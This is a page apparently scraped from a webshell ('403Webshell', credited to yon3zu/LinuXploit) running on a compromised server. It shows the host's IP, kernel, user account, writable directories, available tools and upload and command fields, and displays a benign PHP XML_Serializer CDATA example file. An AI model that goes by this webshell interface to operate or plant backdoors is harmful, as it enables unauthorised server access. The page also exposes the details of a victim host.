403Webshell
Server IP : 172.67.153.42  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux vps-850873.bgcolombia.com 3.10.0-1160.144.1.el7.tuxcare.els5.x86_64 #1 SMP Wed May 13 12:31:54 UTC 2026 x86_64
User : melizav ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/cpanel-php81-xml-serializer-0.21.0/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/cpanel-php81-xml-serializer-0.21.0/examples/serializeCData.php
<?PHP
/**
 * XML Serializer example
 *
 * This example makes use of the CData sections option
 *
 * @author  Stephan Schmidt <[email protected]>
 */
error_reporting(E_ALL);
require_once 'XML/Serializer.php';

$serializer = new XML_Serializer();
$serializer->setOption(XML_SERIALIZER_OPTION_INDENT, '    ');
$serializer->setOption(XML_SERIALIZER_OPTION_DEFAULT_TAG, 'item');
$serializer->setOption(XML_SERIALIZER_OPTION_CDATA_SECTIONS, true);

$data = array(
           'foo' => 'This is some text...',
           'bar' => '& even more text...',
           'test' => array('Foo', 'Foo & bar')
            );

$result = $serializer->serialize($data);

if( $result === true ) {
    $xml = $serializer->getSerializedData();
    echo '<pre>';
    echo htmlspecialchars($xml);
    echo '</pre>';
} else {
    $result->getMessage();
    exit();
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit